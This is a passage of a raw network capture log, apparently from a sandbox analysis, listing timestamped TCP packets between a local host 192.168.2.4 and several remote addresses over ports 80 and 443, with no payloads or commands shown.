Nov 28, 2024 13:09:58.457927942 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.458836079 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.458947897 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.459059954 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.472275972 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.472348928 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.472359896 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.472390890 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.472707987 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.472798109 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.472801924 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.472815990 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.472851992 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.473730087 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.473778009 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.473789930 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.473839998 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.474669933 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.474720955 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.474734068 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.474801064 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.474801064 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.475619078 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.475670099 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.475681067 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.475723982 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.476612091 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.476670027 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.476682901 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.476694107 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.476736069 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.477612019 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.477652073 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.477663040 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.477698088 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.478554964 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.478602886 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.478625059 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.478638887 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.478682041 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.479652882 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.479722023 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.479734898 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.479772091 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.480488062 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.480535984 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.480545998 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.480561018 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.480596066 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.481460094 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.481513023 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.481527090 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.481569052 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.482469082 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.482547045 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.482558966 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.482568026 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.482614994 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.483434916 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.483509064 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.483521938 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.483565092 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.484400034 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.484441996 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.484455109 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.484488010 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.484517097 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.485431910 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.485441923 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.485455036 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.485482931 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.486354113 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.486402035 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.486402035 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.486413956 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.486449003 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.487322092 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.487370014 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.487384081 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.487415075 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.488308907 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.488353968 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.488358974 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.488384962 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.488436937 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.489300013 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.489324093 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.489336014 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.489381075 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.490240097 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.490293026 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.490322113 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.490335941 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.490377903 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.491261959 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.491349936 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.491362095 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.491398096 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.492197990 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.492223024 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.492235899 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.492244959 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.492283106 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.493161917 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.493253946 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.493268967 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.493357897 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.494164944 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.494214058 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.494446039 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.494503975 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.494515896 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.494555950 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.495429039 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.495486021 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.495511055 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.495522976 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.495575905 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.496432066 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.496489048 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.496615887 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.496670961 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.497390032 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.497447968 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.497466087 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.497478962 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.497517109 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.498370886 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.498424053 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.498435974 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.498476982 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.499392033 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.499416113 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.499427080 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.499459028 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.499490023 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.500296116 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.500363111 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.500375986 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.500407934 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.501302958 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.501440048 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.501446962 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.549741983 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.565116882 CET	443	49747	4.245.163.56	192.168.2.4
Nov 28, 2024 13:09:58.565190077 CET	49747	443	192.168.2.4	4.245.163.56
Nov 28, 2024 13:09:58.567337036 CET	49747	443	192.168.2.4	4.245.163.56
Nov 28, 2024 13:09:58.567342997 CET	443	49747	4.245.163.56	192.168.2.4
Nov 28, 2024 13:09:58.567572117 CET	443	49747	4.245.163.56	192.168.2.4
Nov 28, 2024 13:09:58.577306986 CET	49747	443	192.168.2.4	4.245.163.56
Nov 28, 2024 13:09:58.623333931 CET	443	49747	4.245.163.56	192.168.2.4
Nov 28, 2024 13:09:58.647494078 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.647566080 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.647674084 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.647751093 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.647809029 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.647821903 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.647866011 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.648508072 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.648578882 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.648590088 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.648617029 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.648658991 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.649736881 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.649811983 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.649823904 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.649872065 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.650515079 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.650569916 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.650578976 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.650592089 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.650640011 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.651410103 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.664362907 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.664421082 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.664443016 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.664464951 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.664544106 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.664690018 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.664702892 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.664747953 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.665446043 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.665503025 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.665515900 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.665565014 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.666448116 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.666488886 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.666501045 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.666505098 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.666807890 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.667403936 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.667460918 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.667474031 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.667505980 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.668358088 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.668401957 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.668406963 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.668417931 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.668478012 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.669409037 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.669481039 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.669492960 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.669542074 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.670306921 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.670368910 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.670383930 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.670397043 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.670489073 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.671281099 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.671300888 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.671318054 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.671380997 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.672235966 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.672266006 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.672276974 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.672286034 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.672323942 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.673297882 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.673383951 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.673396111 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.673459053 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.674271107 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.674361944 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.674374104 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.674403906 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.674438953 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.675198078 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.675263882 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.675276041 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.675328970 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.676145077 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.676193953 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.676201105 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.676208019 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.676246881 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.677149057 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.677300930 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.677381992 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.677417994 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.678147078 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.678231955 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.678245068 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.678272963 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.678330898 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.679094076 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.679147005 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.679195881 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.679219961 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.680085897 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.680128098 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.680140018 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.680185080 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.680185080 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.681026936 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.681078911 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.681090117 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.681140900 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.682116985 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.682137012 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.682151079 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.682219982 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.682260036 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.682985067 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.683024883 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.683036089 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.683083057 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.683979988 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.684050083 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.684056997 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.684072971 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.684119940 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.684917927 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.684971094 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.684983015 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.685030937 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.685939074 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.686064959 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.686224937 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.686284065 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.686299086 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.686372042 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.687187910 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.687242031 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.687253952 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.687292099 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.687328100 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.688208103 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.688254118 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.688266039 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.688335896 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.689199924 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.689254045 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.689265013 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.698537111 CET	443	49752	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:58.698977947 CET	443	49748	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:58.699081898 CET	49752	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:58.699104071 CET	443	49752	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:58.699666023 CET	49752	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:58.699672937 CET	443	49752	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:58.700186968 CET	49748	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:58.700196028 CET	443	49748	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:58.700625896 CET	49748	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:58.700634003 CET	443	49748	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:58.737268925 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.762679100 CET	443	49749	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:58.762785912 CET	443	49751	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:58.763608932 CET	443	49750	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:58.763644934 CET	49749	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:58.763669968 CET	443	49749	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:58.764211893 CET	49749	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:58.764233112 CET	443	49749	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:58.764614105 CET	49751	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:58.764640093 CET	443	49751	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:58.765276909 CET	49751	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:58.765288115 CET	443	49751	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:58.765856981 CET	49750	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:58.765873909 CET	443	49750	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:58.766521931 CET	49750	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:58.766526937 CET	443	49750	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.134442091 CET	443	49752	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.134497881 CET	443	49752	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.134547949 CET	49752	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.139085054 CET	443	49748	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.139113903 CET	443	49748	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.139410973 CET	49748	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.139420986 CET	443	49748	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.139466047 CET	49748	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.142643929 CET	443	49748	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.142787933 CET	443	49748	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.142837048 CET	49748	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.156343937 CET	49752	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.156343937 CET	49752	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.156372070 CET	443	49752	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.156382084 CET	443	49752	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.160161972 CET	49748	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.160176992 CET	443	49748	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.160340071 CET	49748	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.160355091 CET	443	49748	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.163189888 CET	49753	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.163235903 CET	443	49753	13.107.246.63	192.168.2.4
